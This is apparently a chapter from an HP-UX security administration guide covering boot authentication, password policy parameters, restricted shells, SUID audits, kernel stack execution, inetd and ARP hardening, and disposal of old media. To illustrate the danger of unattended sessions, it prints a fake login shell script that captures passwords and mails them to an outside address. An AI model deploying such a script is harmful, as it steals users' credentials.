        :u_genpwd:u_restrict:u_nullpw:u_genchars:
        :u_genletters:u_suclog#0:u_unsuclog#0:u_maxtries#3:
        :u_lock:
        :t_logdelay#2:t_maxtries#10:t_login_timeout#0:
        :chkent:
root@hpeos004[system]

The capability is d_boot_authenticate. As you can see, it is disabled by default. If we enable it, then we can select which users are allowed to boot the system to single-user mode:

root@hpeos004[r] pwd
/tcb/files/auth/r
root@hpeos004[r] cat root
root:u_name=root:u_id#0:
        :u_pwd=XfxOmormowsLk:
        :u_bootauth:u_auditid#0:
        :u_auditflag#1:
        :u_succhg#1065292066:u_pswduser=root:u_suclog#1065342673:u_suctty=console:
        :u_unsuclog#1065292035:u_lock@:chkent:
root@hpeos004[r]

The capability we are looking for is u_bootauth. As you can see, it is automatically included for root, so when we enable boot authentication in the default file, root can automatically boot in single-user mode. We could select other users that are able to boot in single-user mode, maybe another user we trust, e.g., an operator or admin user if you have one configured. Alternatively, now we know that editing the default file and adding an @ symbol to the d_boot_authenticate capability turns off boot authentication, meaning that we can use the Recovery Media and the Recovery Shell to effect such a change if absolutely necessary.

In this example, I am allowing the user fred to boot the system in single-user mode:

root@hpeos004[f] cat fred
fred:u_name=fred:u_id#105:
        :u_pwd=7Hcf1zI4QmdzU:
        :u_auditid#16:
        :u_bootauth:
        :u_auditflag#0:
        :u_succhg#1065283999:u_pswduser=fred:u_suclog#1065285851:u_suctty=pts/ta:
        :u_unsuclog#1065285813:u_unsuctty=pts/ta:u_lock@:chkent:
root@hpeos004[f]

Now fred will attempt to boot the system in single-user mode. Because we are letting fred boot the system in single-user mode, you might want to consider letting fred shut the system down for a reboot or halt. These are completely unrelated subjects, but it did occur to me that if the root account was locked for whatever reason and we couldn't log in as root, then it would a good idea to have a trusted user who could issue a shutdown command in order to reboot the system in a consistent manner. Here, I have configured the /etc/shutdown.allow file to allow fred to shut down this system:

root@hpeos004[f] cat /etc/shutdown.allow
# let root use shutdown
hpeos004 root

# Other authorized users
hpeos004 fred
root@hpeos004[f]

Now we can let fred shut the system down and boot the system in single-user mode:

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


---- Main Menu --------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo pri
Interact with IPL (Y, N, or Cancel)?> y

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.

ISL Revision A.00.43  Apr 12, 2000

ISL> hpux –is

Boot
: disk(0/0/1/1.15.0.0.0.0.0;0)/stand/vmunix
10018816 + 1753088 + 1500016 start 0x1f3fe8



alloc_pdc_pages: Relocating PDC from 0xf0f0000000 to 0x3fb01000.
...

        entry 0 - major is 64, minor is 0x2; start = 0, size = 4194304
Starting the STREAMS daemons-phase 1
Checking root file system.
file system is clean - log replay is not required
Root check done.
Create STCP device files
                $Revision: vmunix:  vw: -proj    selectors: CUPI80_BL2000_1108 -c 'Vw for CUPI80_BL2000_1108 build' -- cupi80_bl2000_1108 'CUPI80_BL2000_1108'
  Wed Nov  8 19:24:56 PST 2000 $
Memory Information:
    physical page size = 4096 bytes, logical page size = 4096 bytes
    Physical: 1048576 Kbytes, lockable: 742712 Kbytes, available: 862072 Kbytes

/sbin/ioinitrc:
/sbin/krs_sysinit:


INITSH: /sbin/init.d/vxvm-startup2: not found

INIT: Overriding default level with level 's'

Boot Authentication:

Please enter your login name: fred
Password:

INIT: SINGLE USER MODE

INIT: Running /sbin/sh
#

By entering fred's password, I am now logged in as root in single-user mode. From here, I can make any changes necessary and bring the system to multi-user mode.

NOTE: At the time of this writing, a separate product for HP-UX 11i (version 1) called Boot Authenticator for Standard Mode HP-UX is available for free download from http://software.hp.com − Security and Manageability. This provides the features of boot authentication without converting the system to a Trusted System. I leave it up to you to investigate this further if you are interested.

On HP-UX, it has always been the case that if a user's home directory doesn't exist when he logs in, the user is taken to the root (/) directory. This is contrary to many flavors of UNIX that will disallow login access if the user's home directory is missing. The parameter to control this behavior is ABORT_LOGIN_ON_MISSING_HOMEDIR.

This parameter controls login behavior if a user's home directory does not exist. This is applicable only for non-root users.

ABORT_LOGIN_ON_MISSING_HOMEDIR=0:Log in with “/” as the home directory if the user's home directory does not exist.

ABORT_LOGIN_ON_MISSING_HOMEDIR=1:Exit the login session if the user's home directory does not exist.

Default value: ABORT_LOGIN_ON_MISSING_HOMEDIR=0.

By default, on HP-UX non-root users have restrictions on the structure of their password, even in a non-trusted environment—six characters with at least two alpha characters and at least one non-alpha character. This parameter controls only the length of the password. We will see later how to control the content of the password.

The MIN_PASSWORD_LENGTH parameter controls the minimum length of new passwords. It is not applicable to the root user on a non-trusted system.

MIN_PASSWORD_LENGTH=N New passwords must contain at least N characters. For non-trusted systems N can be any value from 6 to 8. For trusted systems N can be any value from 6 to 80.

Default value: MIN_PASSWORD_LENGTH=6.

There may be times when we want to disable all non-root logins without shutting the system down to single-user mode. In the past, this was difficult on HP-UX; you could temporarily put a default password file in place, meaning that no one could log in because his or her password entry was now missing. This was a clumsy solution. Other versions of UNIX had a simpler solution such as creating a file called /etc/nologin. Now we can control this behavior via the NOLOGIN configuration parameter.

This parameter controls whether non-root login can be disabled by the /etc/nologin file.

NOLOGIN=0: Ignore the /etc/nologin file and do not exit if the /etc/nologin file exists.

NOLOGIN=1: Display the contents of the /etc/nologin file and exit if the /etc/nologin file exists.

Default value: NOLOGIN=0.

Sharing user accounts is never a good idea; you can never really tell who deleted a file or made some other mistake while logged in. Even with auditing enabled, you can find out which user ID made the mistake but not the face behind the user ID. One way to combat this is to allow only one login session per user ID.

This parameter controls the number of logins allowed per user. This is applicable only for non-root users.

NUMBER_OF_LOGINS_ALLOWED=0: Any number of logins is allowed per user.

NUMBER_OF_LOGINS_ALLOWED=N: N number of logins are allowed per user.

Default value: NUMBER_OF_LOGINS_ALLOWED=0.

When we implement password aging, we are trying to ensure that passwords are changed on a regular basis, in case an unauthorized user guesses or gains access to a user password. Allowing users to flip between two passwords lessens the quality of such a strategy. By default, on HP-UX that is exactly what a user could do.

The PASSWORD_HISTORY_DEPTH parameter controls the password history depth. A new password is checked against a number of most recently used passwords stored in password history for a particular user. A user is not allowed to reuse a previously used password.

PASSWORD_HISTORY_DEPTH=N: A new password is checked against only the N most recently used passwords for a particular user.

A configuration of PASSWORD_HISTORY_DEPTH=2 prevents users from alternating between two passwords. The maximum password history depth supported is 10, and the minimum password history depth supported is 1. A depth configuration of more than 10 will be treated as 10, and a depth configuration of less than 1 will be treated as 1.

The password history depth is configured on a system basis and is supported in Trusted Systems for users in a files repository only. This feature does not support the users in NIS or NIS+ repositories. Once the feature is enabled, all the users on the system are subject to the same check. If this parameter is not configured, the password history check feature is automatically disabled. When the feature is disabled, the password history check depth is set to 1.

A password change is subject to all the other rules for a new password, including a check with the current password.

Default value: PASSWORD_HISTORY_DEPTH=1.

We may want to restrict the ability for a user to successfully use the su command to change their effective UID to root based on their group membership. We could set up a special group in /etc/group and add the appropriate users to it. In this way, only those users would be allowed to successfully use the su command to change their effective UID to root.

This parameter defines the root group name for the su command.

SU_ROOT_GROUP=group_name: The root group name is set to the specified symbolic group name. The su command enforces the restriction that a non-superuser must be a member of the specified root group in order to be allowed to successfully use the su command to change their effective UID to root. This does not alter password checking.

Default value: If this parameter is not defined or if it is commented out, there is no default value. In this case, a non-superuser is allowed to use the su command to change their effective UID to root without being bound by root group restrictions.

This parameter defines a new default PATH environment value to be set when su is executed.

SU_DEFAULT_PATH=new_PATH: The PATH environment variable is set to new_PATH when the su command is invoked. Other environment values are not changed. The PATH value is not validated. This is applicable only when the “-” option is not used along with su command.

Default value: PATH is not changed.

Many flavors of UNIX allow an administrator to require a certain format for a user password, i.e., a certain number of uppercase/lowercase letters, numbers, and non-alpha characters. Until the release of this patch, this has been unavailable as a standard feature on HP-UX. At the time of this writing, the patch number is PHCO_27037. If you use the ITRC to download the patch, you can download the most recent version and all associated dependencies. Something to be aware of is that the patch currently does not update the manual page for the security configuration file (man security), so to work out the new features, you need to read the README file from the patch itself:

root@hpeos004[] swlist -a readme PHCO_27037 | more
…
( SR:8606202873 CR:JAGad72047 )
        A site's security policies sometimes require new passwords
        to contain specific numbers or types of characters, such as
        at least two digits and at least one special character.

        Resolution:
        In addition to the standard password requirements,
        optional entries in the file /etc/default/security specify
        the minimum number of required characters of each type
        (upper case characters, lower case characters, digits
        and special characters) in a new password.

        PASSWORD_MIN_UPPER_CASE_CHARS=N
        PASSWORD_MIN_LOWER_CASE_CHARS=N
        PASSWORD_MIN_DIGIT_CHARS=N
        PASSWORD_MIN_SPECIAL_CHARS=N

        The default value for N is 0. These parameters have
        effect only when a password is changed. On untrusted
        systems, these parameters do not apply to the root user.
        The file /etc/default/security should be owned by root and
        have 0644 permissions.

As an example, to require passwords at least 8 characters
        long, composed of at least 5 upper case characters, 2
        lower case characters and a digit, include the following
        lines in /etc/default/security, as specified above:

        PASSWORD_MIN_UPPER_CASE_CHARS=5
        PASSWORD_MIN_LOWER_CASE_CHARS=2
        PASSWORD_MIN_DIGIT_CHARS=1

I won't attempt to further this description because I think it is wholly appropriate in itself, but I will show you an example:

root@hpeos004[] cat /etc/default/security
PASSWORD_HISTORY_DEPTH=3
PASSWORD_PASSWORD_LENGTH=11
PASSWORD_MIN_UPPER_CASE_CHARS=5
PASSWORD_MIN_LOWER_CASE_CHARS=3
PASSWORD_MIN_DIGIT_CHARS=2
PASSWORD_MIN_SPECIAL_CHARS=1
root@hpeos004[]
root@hpeos004[] passwd fred
Changing password for fred
Last successful password change for fred: Sat Oct  4 17:13:19 2003
Last unsuccessful password change for fred: NEVER

Do you want (choose one letter only):
        pronounceable passwords generated for you (g)
        a string of characters generated (c) ?
        a string of letters generated (l) ?
        to pick your passwords (p) ?

Enter choice here: p
New password:
The password entered is not valid. Valid passwords must contain at least:
          5 upper case character(s),
          3 lower case charcter(s),
          2 digit(s), and
          1 special character(s).
New password:

Although this example is on a Trusted System, the same rules apply to non-root users on a non-Trusted System.

The default home directory for root is / as we know. This is crazy because everyone can see every file you create. I like to create a separate directory called /.root with permissions of 0700. The fact that it begins with a dot (.) is even better because users don't see dot-files by default when they list the contents of a directory. It's easy but effective. Oh, you will remember to update /etc/passwd, won't you?

Use the pwck and grpck commands regularly. Watch for user accounts with no passwords, accounts with duplicate user IDs (especially a user ID = 0), and home directories that don't exist. And be suspicious of user accounts that run a single command instead of a login shell.

UNIX logins (including CDE) allow for sessions to be locked out after a period of inactivity (POSIX/Korn shell LOGOUT environment variable). This is a good thing because leaving sessions logged in opens up the possibility of other users gaining unauthorized access to data and potentially changing passwords. There is also the possibility of someone running a spoof program via your shell that collects passwords:

root@hpeos004[] cat /tmp/login
#!/sbin/sh

trap '' 1 2 3 25

for x in 1 2 3
do
echo "login: c"
read username
echo "Password: c"
stty -echo
read password
stty echo
echo "
Login incorrect"
echo "$username/$password" | mail [email protected]
done
root@hpeos004[]

If someone ran exec /tmp/login on a root session, you might quite happily retype your password three times thinking you had fat fingers that morning. After the third attempt, the exec script would terminate and return you to a real UNIX login process.

Allowing other users to send you messages on your terminal may seem like a good idea, but it's wrong. If a user can write to your terminal, he can program your function keys with UNIX commands and then execute one of those function keys, in effect executing a command from your terminal.

For some time now, HP-UX has disabled this capability. If you find this capability being reinstated, you may want to look at including the commands mesg n in /etc/profile and /etc/csh.login. You may also have to restrict access to the users' .profile / .cshrc / .login files, although this can be tricky in some situations. You can certainly secure root's files. If you don't believe the power of this feature, try this one:

Obviously, I could have programmed the function key with any UNIX command, which could have seriously compromised security!

This is a basic and simple example and depends on the fact that I know the escape sequence to program a terminal (an hpterm window in this example). The point is that any terminfo-based application that programs function keys needs this ability; untic hpterm and man 4 terminfo tells you all you need to know to program an hpterm window.

As mentioned previously, this feature has thankfully been disabled for HP-UX terminal device files by default. It's worth checking just in case.

HP-UX offers two restricted shells: rksh and rsh (the remote shell on other versions of UNIX!). The initial setup is straightforward; you specify the shell in the last field of the /etc/passwd file. The trickier part comes in setting up a profile for the user that meets all his needs. This can be tricky when we look at the limitation of a restricted shell:

Initially, this doesn't seem too bad until you realize that you may have to spend some time customizing the PATH environment variable. I say this because most administrators will include the /usr/bin directory in a user's PATH. If you do include /usr/bin, be aware that if I were given a restricted shell and /usr/bin in my PATH, I would simply use the chsh command to change my shell in /etc/passwd. This leads to an interesting scenario whereby you may want to allow users to use some of the commands in /usr/bin, e.g., vi, ll, more, tail, cat, date, and so on, but not all of them. One solution I implemented was to create a bin directory in the user's HOME directory and then I set up a series of symbolic links to the commands to which the user would need access. The PATH variable could then include $HOME/bin, but not /usr/bin. This may take some time to customize because the user may want access to a large number of commands, which means you'd need to create a large number of symbolic links, and the user might periodically ask for more links (obviously, users can't do it themselves as they can use a path or command containing a /). This idea works on the principle of least privilege; only give them access to what they need, no more, no less.

We have looked at providing an account with a lifetime via Trusted Systems. There isn't really a way of enabling such a feature automatically without Trusted Systems; you would have to employ some manual procedures. It is also worth remembering that enable auditing gives you the chance to monitor user logins and logouts. If account details are compromised, hackers will probably log in and out outside of normal hours; isn't it worthwhile enabling time-based access controls?

UNIX provides a number of logfiles and associated commands that allow you to monitor login and logout activities (Table 29-2):

We discussed password aging in the Trusted System module at some length. This is a reminder that password aging is available in non-Trusted Systems. To enable password aging, we can either use the passwd command or manipulate the password aging characters in the /etc/passwd file directly. The password aging characters are separated from the encrypted password by a comma (,) character. Here, we can see an example using a non-Trusted System and a user charlesk:

root@hpeos003[] pwget -n charlesk
charlesk:Q2BGUB0vg2nnE:103:20::/home/charlesk:/sbin/sh
root@hpeos003[]
root@hpeos003[] passwd -n 60 -x 90 charlesk
<min> argument rounded up to nearest week
<max> argument rounded up to nearest week
root@hpeos003[]
root@hpeos003[] pwget -n charlesk
charlesk:Q2BGUB0vg2nnE,B7WP:103:20::/home/charlesk:/sbin/sh
root@hpeos003[]

There are two password aging characters manipulated via the –n and –x options. Both options are followed by a number of days. The number of days is rounded to the nearest number of weeks. Table 29-3 summarizes this information.

Once the passwd command has converted the number of days into weeks, it needs to encode this as a password aging character. Table 29-4 shows the conversion of the number of weeks into a password aging character:

Now let's decode what the password command has entered into the /etc/passwd file:

A plain English interpretation of the aging characters above could be explained this way: “The user must retain his current password for two months (approximately 60 days – 9 weeks). After this time, he can change his password if he wishes. If he does not change his password, he will be forced to change his password after an additional one month and then every three-month period (approximately 90 days – 12 weeks) from the time he last changed his password.”

If you suspect a security breach, it is vital to maintain a paper trail of all suspicious activity. In the event that criminal proceedings are taken against an unauthorized user, your signed and dated paper trail will prove to be crucial evidence. Backup copies of the individual logfiles themselves can corroborate this. The logfiles we are considering are all the login/logout files mentioned previously as well as all relevant extracts from system auditing logfiles if applicable. A classic case to demonstrate the necessity for a signed and dated paper trail is the events surrounding the break-in and subsequent investigation documented in Clifford Stoll's excellent book The Cuckoo's Egg (a must-read)!

The other aspect of this point is to maintain a paper copy of all critical system configuration files in case a break-in does occur and you need to rebuild your system. I am not only thinking of critical system configuration files but also the output from commands that will display system configuration information. The list in Table 29-5 is by no means exhaustive and may include files not relevant to your configuration. If nothing else it gives us a starting point:

An excellent tool to assist in this task is System Configuration Repository (SCR), which can take a snapshot of major system components. These snapshots can be run periodically and compared against previous snapshots to uncover changes. This tool can be used to help in changing management, security, and disaster-recovery procedures.

Software Distributor provides a mechanism to verify that software components are still configured as they were when originally installed. The command is swverify. We can run swverify against a product, a fileset, or all software currently loaded. The output will tell us what has changed. Changes can happen for various reasons, e.g., a patch modifies permissions, a logfile is updated, and files get renamed. The difficult part of swverify is to work out whether a change is valid. There is no easy answer to this. Here's one potential solution that doesn't actually use swverify, but it accomplishes the same objective:

SUID/SGID programs are used by UNIX itself. In themselves, they are not necessarily a security threat. If they are not written with careful thought and consideration, they can pose a major security hole for a system. We should establish the list of SUID/SGID programs when a system is initially installed. We should review this list as to which we will retain. Removing system binaries can be dangerous, so be careful. Periodically we should establish a new list of existing SUID/SGID programs and scripts. We can compare the new list with our original list and work out why we have new SUID/SGID programs installed on our system. The following could find all SUID/SGID programs and scripts:

root@hpeos004[] find / ( -perm -04000 -o -perm -02000 ) -exec ll {} ;

You should also consider using the –nosuid option to the mount command wherever possible. This will disallow the setting of the SUID bit for all files and directories within that filesystem.

HP-UX privileges are controlled by the setprivgrp command. Normally, the only privilege a non-root user has is the privilege to use the chown command on their own files. When we think about it, even that privilege is suspect. Why would a user want to use the chown command? Does it actually happen in real life? I don't think so. Let's look at setting and modifying privileges:

root@hpeos004[] getprivgrp
global privileges: CHOWN
root@hpeos004[]

Here we can see the default global privileges. Now let's delete these privileges:

root@hpeos004[] setprivgrp -g
root@hpeos004[] getprivgrp
global privileges:
root@hpeos004[]

This will have an immediate impact on a user's ability to use the chown command:

fred@hpeos004[fred] ll
total 2
-r--r--r--   1 fred       users          862 Oct 11 14:40 myfile
drwx--x---   2 fred       users           96 Oct  2 11:24 private
fred@hpeos004[fred] chown barney myfile
myfile: Not owner
fred@hpeos004[fred]

Commonly, RDBMS applications like Oracle will want to lock their processes into memory. The application will make use of the plock() and shmctl() system calls to lock private and shared objects. This requires the MLOCK privilege to be given to the group the oracle user belongs to:

root@hpeos004[] pwget -n oracle
oracle:*:102:102:Oracle:/home/oracle:/usr/bin/sh
root@hpeos004[] grget -g 102
dba::102:oracle
root@hpeos004[] setprivgrp dba MLOCK
root@hpeos004[] getprivgrp dba
dba: MLOCK
root@hpeos004[]

To ensure that this configuration survives a reboot, we need to update the file /etc/privgroup:

root@hpeos004[] vi /etc/privgroup
-g
dba MLOCK
root@hpeos004[]

The privileges that can be applied are RTPRIO, MLOCK, CHOWN, LOCKRDONLY, SETRUGID, MPCTL, RTSCHED, SERIALIZE, SPUCTL, FSSTHREAD, and PSET.

Such a configuration is highly dependent on your application. Check your application installation instructions, or talk to your application supplier before setting such privileges. Inappropriate privileges can have an adverse effect on your system.

Lots of security vulnerabilities experienced in the not-so-distant past have been known as buffer overflow or crashing the stack problems. This is where a program asks for input, e.g., the passwd command. Instead of just reading the required information, i.e., the 8-character password, the program reads everything the user passes from the command prompt (a case of lazy programming?). If a user knows the precious format of executable code, then he could supply this extended input string along with the required password. In effect, this puts executable code (or a reference to a relevant memory location) into the program stack of the running process. The next event to occur is that the program will read the next instruction from its stack, which happens to instruct it to start executing the user-supplied code. Executing user-supplied code directly from the program stack is not a normal occurrence; some self-generating compilers or self-generating Web-based applications may require this feature, but not normal programs. HP-UX now provides a kernel parameter that can disable this feature for the entire system by default. The kernel parameter is executable_stack. The default behavior is to allow code to execute from a program stack:

root@hpeos004[] kmtune -q executable_stack
Parameter           Current Dyn Planned                    Module     Version
=============================================================================
executable_stack            1  -  1
root@hpeos004[]

If we turn this OFF (set the kernel variable to zero (0)), then any program trying to use this feature is sent a KILL signal (you can set the kernel variable to two (2), whereby the process is not killed but simply sent a warning message). Once we have disabled the feature for the entire system, we can start to identify any programs that individually may require this feature. We can assess whether this behavior is appropriate and necessary on a program-by-program basis. For those few programs that require the feature, we can turn ON the feature by using the +es to the chatr command:

root@hpeos004[] chatr programX
programX:
         64-bit ELF executable
         shared library dynamic path search:
             LD_LIBRARY_PATH    enabled  first
             SHLIB_PATH         enabled  second
             embedded path      enabled  third  /usr/lib/pa20_64:/opt/langtools/lib/pa20_64:
         shared library list:
             libelf.2
             libc.2
         shared library binding:
             deferred
         global hash table disabled
         shared library mapped private disabled
         shared library segment merging disabled
         shared vtable support disabled
         segments:
             index type     address      flags size
                 6 text 4000000000000000 z---c    D (default)
                 7 data 8000000100000000 ---m-    D (default)
         executable from stack: D (default)
         kernel assisted branch prediction enabled
         lazy swap allocation for dynamic segments disabled
root@hpeos004[]
root@hpeos004[] chatr +es enable programX
programX:
   current values:
         64-bit ELF executable
         shared library dynamic path search:
             LD_LIBRARY_PATH    enabled  first
             SHLIB_PATH         enabled  second
             embedded path      enabled  third  /usr/lib/pa20_64:/opt/langtools/lib/pa20_64:
         shared library list:
             libelf.2
             libc.2
         shared library binding:
             deferred
         global hash table disabled
         shared library mapped private disabled
         shared library segment merging disabled
         shared vtable support disabled
         segments:
             index type     address      flags size
                 6 text 4000000000000000 z---c    D (default)
                 7 data 8000000100000000 ---m-    D (default)
         executable from stack: D (default)
         kernel assisted branch prediction enabled
         lazy swap allocation for dynamic segments disabled
   new values:
         64-bit ELF executable
         shared library dynamic path search:
             LD_LIBRARY_PATH    enabled  first
             SHLIB_PATH         enabled  second
             embedded path      enabled  third  /usr/lib/pa20_64:/opt/langtools/lib/pa20_64:
         shared library list:
             libelf.2
             libc.2
         shared library binding:
             deferred
         global hash table disabled
         shared library mapped private disabled
         shared library segment merging disabled
         shared vtable support disabled
         segments:
             index type     address      flags size
                 6 text 4000000000000000 z---c    D (default)
                 7 data 8000000100000000 ---m-    D (default)
         executable from stack: enabled
         kernel assisted branch prediction enabled
         lazy swap allocation for dynamic segments disabled
root@hpeos004[]

This setting is now permanently enabled for that program alone (unless we install a new program or change the attribute later). Personally, I would like to see the default behavior disabled because so few programs actually require it. In this way, HP would be promoting a more secure environment from the outset. Maybe one day.

HP regularly publishes security bulletins in response to known security threats. You can keep up to date with these security bulletins by subscribing to the mailing list to receive regular updates. This is done by navigating to http://itrc.hp.com and then clicking the link on the main pages titled “Subscribe to security bulletins and patch digests”.

You can also keep up to date with general security bulletins by subscribing to the Computer Emergency Response Team (CERT) at http://www.cert.org/contact_cert/certmaillist.html.

Penetration tests are designed so that you can find potential weaknesses in your system and network security before someone else does. You could employ third-party security companies to perform these tests; in fact, this is sometimes a good idea because they will generally have techniques and tricks that are at the cutting edge of the security community and have no preconceived ideas about what your level of security is. The drawback is that such penetration tests can be expensive and may require the third party to sign extensive Non-Disclosure Agreements to prevent them from leaking any company-sensitive information regarding your level of security.

Tools are available that allow you to perform initial penetration tests of your own. These tools will probe known vulnerabilities in operating system and network security. Some of these tools include:

SATAN (Security Administrator Tool for Analyzing Networks): A testing and reporting tool that collects a variety of information about networked hosts. SATAN is similar to other tools such as COPS in its moral standpoint. Usually available at ftp:/ftp.win.tue.nl/pub/security. You can find an excellent SATAN archive at http://www.cerias.purdue.edu/coast/satan.html.

COPS (Computer Oracle and Password System): A publicly available collection of programs that attempt to identify security problems in a UNIX system. COPS does not attempt to correct any discrepancies found; it simply produces a report of its findings. Available at ftp://coast.cs.purdue.edu/pub/tools/unix/scanners/cops/.

ISS (Internet Security Scanner): A program that interrogates all computers within a specified IP address range, determining the security posture of each with respect to several common system vulnerabilities. Available at ftp://coast.cs.purdue.edu/pub/tools/unix/scanners/iss/.

An excellent source for such tools is the Computer Operation, Audit, Security, and Technology (COAST) project at Purdue University. COAST can be found at http://www.cs.purdue.edu/coast. COAST is now a part of the CERIAS (Center for Education and Research in Information Assurance and Security) project. You can find out what CERIAS is all about at http://www.cerias.purdue.edu/.

The /etc/inetd.conf file is used to manage a large number of common network daemons. The first thing to note is that it is highly desirable to enable logging of inetd activity by ensuring that the –l option is adding to the INETD_ARGS variable in the startup configuration file /etc/rc.config.d/netdaemons:

root@hpeos004[] vi /etc/rc.config.d/netdaemons
#########################################
# inetd configuration. See inetd(1m)   #
#########################################
#
# @(#)B.11.11_LR
#
#  Super daemon for various Internet Services
#
#  NOTE: inetd is always started as part of the boot up process.
#
# INETD_ARGS:         The command line arguments to be used when
#                       starting inetd. ("-l" is the only option
#                       available at startup.)
#
export INETD_ARGS="-l"

Consequently, you may want to consider rerouting all daemon level syslog messages to a separate logfile; otherwise, syslog.log will become overloaded with messages that may result in your missing an important error/activity message. Here, I have modified syslog.conf to send daemon messages to a new file /var/adm/syslog/netdaemon.log:

root@hpeos004[] vi /etc/syslog.conf
# @(#)B.11.11_LR
#
# syslogd configuration file.
#
# See syslogd(1M) for information about the format of this file.
#
daemon.debug            /var/adm/syslog/netdaemon.log
mail.debug              /var/adm/syslog/mail.log
*.info;mail.none;deamon.none    /var/adm/syslog/syslog.log
auth.debug              /var/adm/syslog/auth_debug.log
*.alert                 /dev/console
*.alert                 root
*.emerg                 *
root@hpeos004[]
root@hpeos004[] kill -HUP $(cat /var/run/syslog.pid)
root@hpeos004[]
root@hpeos004[] ll /var/adm/syslog
total 278
-rw-r--r--   1 root       root          8151 Oct 11 11:12 OLDsyslog.log
-r--r--r--   1 root       root          6404 Oct 11 14:40 auth_debug.log
-r--r--r--   1 root       root         60090 Oct 11 11:19 mail.log
-r--r--r--   1 root       root             0 Oct 11 15:43 netdaemon.log
-rw-r--r--   1 root       root         26131 Oct 11 15:42 syslog.log
root@hpeos004[]

You may also want to create a startup routine that manages this additional logfile. I know some administrators who update /sbin/init.d/syslogd to manage this new logfile. While this seems a good idea at first, if we were to apply a patch or upgrade the operating system, there is nothing to say the startup script for syslogd wouldn't be updated as well.

The in-bound services that you enable or disable in /etc/inetd.conf are dependent on your particular installation. A philosophy adopted by many security-minded administrators is to turn OFF all service in /etc/inetd.conf and only turn ON the services explicitly needed; this is a least-privilege approach. I thoroughly agree with this philosophy because you may have unknowingly enabled services in which a hacker has found a trap door. For the remaining services, investigate each service for any security features such as restricted access (remshd –l), explicit service-level logging (ftpd –l), and displaying security-related warning messages to users before login (telnetd –b).

Another important aspect of inetd is the security file /var/adm/inetd.sec. By default, all enabled services will allow any host to access these services. With a simple entry in inetd.sec, we can restrict access to specific hosts, IP address, or network addresses. Employing a least-privilege approach is useful here; only allow the hosts you know and trust. Here, I am allowing only hosts hpeos001, hpeos002, and hpeos003 access to the telnet service.

root@hpeos004[] vi /var/adm/inetd.sec
telnet allow hpeos001, hpeos002, hpeos003
root@hpeos004[]

It should be noted that this level of security assumes that the IP address/hostname identity of a machine is sufficient. It is very easy for another host to adopt the IP identity of another machine (known as spoofing). See “Consider populating your ARP cache with permanent entries” for details of how to alleviate such a problem.

The ARP cache is populated on an as-needed basis. This is a convenient and reasonably efficient mechanism to ensure that nodes can communicate. However, if one node is assuming the identity of another node (known as spoofing), we may be communicating with the wrong node. Having the ARP cache populated with permanent entries (via a separate preconfigured file) means that we would only communicate with a node via its known MAC/station address. Here, I am adding a permanent entry for one particular known host, hpeos003:

root@hpeos004[] vi /etc/arp.conf
hpeos003 0:30:6e:5c:3f:f8
root@hpeos004[] arp -f /etc/arp.conf
root@hpeos004[] arp -a
192.168.0.70 (192.168.0.70) at 0:8:74:e5:86:be ether
192.168.0.70 (192.168.0.70) at 0:8:74:e5:86:be ether
hpeos003 (192.168.0.33) at 0:30:6e:5c:3f:f8 ether permanent
root@hpeos004[]

Nodes with multiple interfaces may need multiple entries. Nodes employing APA need all APA-capable MAC addresses listed.

You need to write a bespoke startup routine to ensure that these entries are added to the ARP cache after every reboot.

NOTE: If a node replaces a LAN card or adjusts its MAC address via the lanadmin command, you need to redo this configuration.

The common network services remsh, rlogin, rcp, ftp, and rexec are able to use user-level equivalence configuration files. Most security-aware sites ensure that these configuration files are not allowed and are periodically removed from the filesystem. Here, we can see that the user fred is allowing anyone on the entire network to log in to his account without knowing fred's password:

fred@hpeos004[fred] pwd
/home/fred
fred@hpeos004[fred] cat .rhosts
+ +
fred@hpeos004[fred]

An easy solution for this problem is to ensure that the –l option is added to the command line for the remshd and rlogind service in /etc/inetd.conf which disable checking the $HOME/.rhosts file for non-root users (although just about every organization I have worked in has never allowed the use of .rhosts for root equivalency):

root@hpeos004[] grep -e '^login' -e '^shell' /etc/inetd.conf
login   stream  tcp6    nowait  root    /usr/lbin/rlogind       rlogind -l
shell   stream  tcp6    nowait  root    /usr/lbin/remshd        remshd -l
root@hpeos004[]

Remember, this is not the default. If you make any changes to /etc/inetd.conf, be sure to to run inetd –c to make the changes effective immediately.

If you have to provide user-level equivalence, it is always best to provide it via the /etc/hosts.equiv file whereby the administrator has ultimate control and only those users with equivalent accounts on multiple machines will be able to use the facility.

As far as ftp and rexec are concerned, you should periodically find, remove, and then chastise the offending users of any .netrc files found on the system. The $HOME/.netrc file contains plain-text usernames and passwords and as such are seen as a major security problem. In most sites, there is no argument; you get rid of them and maybe explain to the offending users the error of their ways. In most security-conscious sites, all users will be made aware of major IT-related security concerns, including the use of files like .netrc.

The list is long here but follows the same methodology/philosophy as our discussion on inetd: Adopt a least-privilege mentality. HP-UX enables lots of network services automatically at installation time. A significant number of nodes do not need these services, and by disabling them you are not only locking down any potential security problems, but also potentially speeding up the time it takes an individual system to boot. Here a just a few of the services that are started by default on my machine. This list is in no way exhaustive and I am not advocating shutting down any of these applications. It's just that I know in many cases on some of my machines I have shut these services down because no one uses them on the machines in question. Here are some services to think about:

As always, you need to carefully review whether any of the services you are turning off are actually needed. Be careful.

Whenever you discard old disk or tapes, you should remember that there is still data only those devices. You should employ some mechanism of destroying the data on those devices such that it cannot be retrieved. A program such as mediainit will write a series of 1s and 0s over the entire media, effectively performing a low-level format. This process can take some time, but it is crucial to ensure that your data is not accidentally picked up and read by someone else. Some diagnostic programs can perform low-level read and write tests on disk and tape media. Some of these diagnostic programs are password protected and accessible only by HP Support Staff.

Scrubbing data disks and tapes is particularly necessary if you employ the services of a disaster recovery company. It is common to perform regular offsite disaster recovery tests. Once the test is complete, you must insist on being present when all media used in the test is effectively wiped clean.

Most HP servers exist within a computer-room environment. Most organizations will employ physical barriers (a locked door) to stop unauthorized access to computer hardware. Most organizations also employ cleaning staff that regularly has free and easy access to computer rooms. One organization I worked with found that machines (printers, in this instance) were being hidden in large laundry bins (covered by dirty laundry) and wheeled out of the office under the noses of the security staff.

